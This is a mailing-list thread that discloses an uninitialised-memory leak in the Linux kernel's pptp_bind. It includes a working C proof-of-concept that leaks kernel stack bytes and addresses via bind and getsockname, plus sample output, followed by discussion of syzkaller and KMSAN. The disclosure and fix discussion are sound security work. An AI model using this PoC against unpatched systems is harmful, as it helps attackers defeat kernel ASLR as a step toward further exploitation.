Information leak in pptp_bind

[Dmitry Vyukov]

Hello,

The following program leak various uninit garbage including kernel
addresses and whatever is on kernel stack, in particular defeating
ASLR. The issue is in pptp_bind which does not verify sockaddr_len

#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/in6.h>
#include <linux/socket.h>
#include <linux/if.h>
#include <linux/if_pppox.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int main(void)
{
struct sockaddr sa;
unsigned len, i, try;
int fd;

for (try = 0; try < 5; try++) {
fd = socket(AF_PPPOX, SOCK_RAW, PX_PROTO_PPTP);
if (fd == -1)
return;
memset(&sa, 0, sizeof(sa));
bind(fd, &sa, 0);
len = sizeof(sa);
getsockname(fd, &sa, &len);
for (i = 0; i < len; i++)
printf("%02x", ((unsigned char*)&sa)[i]);
printf("\n");
}
return 0;
}

# ./a.out
1800020000004700c012833d00880000b002400000000000005eddc66d2b
1800020000004800408bf13a00880000b002400000000000005eddc66d2b
180002000000490080a5f13a00880000b002400000000000005eddc66d2b
1800020000004a00008ff13a00880000b002400000000000005eddc66d2b
1800020000004b008096f13a00880000b002400000000000005eddc66d2b

[Hannes Frederic Sowa]

On 14.12.2015 11:38, Dmitry Vyukov wrote:
> The following program leak various uninit garbage including kernel
> addresses and whatever is on kernel stack, in particular defeating

> ASLR. The issue is in pptp_bind which does not verify sockaddr_len.

Thanks for the report!

I send out a patch soon.

[Wei You]

Hi, Dmitry,

I am very curious about how to use syzkaller to find "information leak" bugs.

We know that for memory related bugs, syzkaller leverages KASAN to find illegal memory access.

But how syzkaller monitor the bugs that leak information?

Thanks.

[Dmitry Vyukov]

Hi Wei,

I don't remember exactly, but I think I was just looking at source
code around some other bug found by syzkaller. Currently there are no
good means for detecting uses of uninit memory. You can try KMEMCHECK,
but my understanding is that it does not quite work.
We are currently working on KMSAN (kernel analog of user-space MSAN
https://github.com/google/sanitizers/wiki/MemorySanitizer). It will
provide precise, prompt detection of such cases. A work-in-progress
version of KMSAN should be open-sources within next weeks or so.

> --
> You received this message because you are subscribed to the Google Groups
> "syzkaller" group.
> To unsubscribe from this group and stop receiving emails from it, send an
> email to syzkaller+...@googlegroups.com.
> For more options, visit https://groups.google.com/d/optout.

[Wei You]

Hi  Dmitry,

Thanks for your reply.

When KMSAN is available for open-source, will it be integrated into the latest linux kernel? 

Bests,

Wei

[Dmitry Vyukov]

On Wed, Apr 19, 2017 at 3:45 PM, Wei You <weiyo...@gmail.com> wrote:
> Hi Dmitry,
>
> Thanks for your reply.
> When KMSAN is available for open-source, will it be integrated into the
> latest linux kernel?

I hope so. But such things don't happen in a day.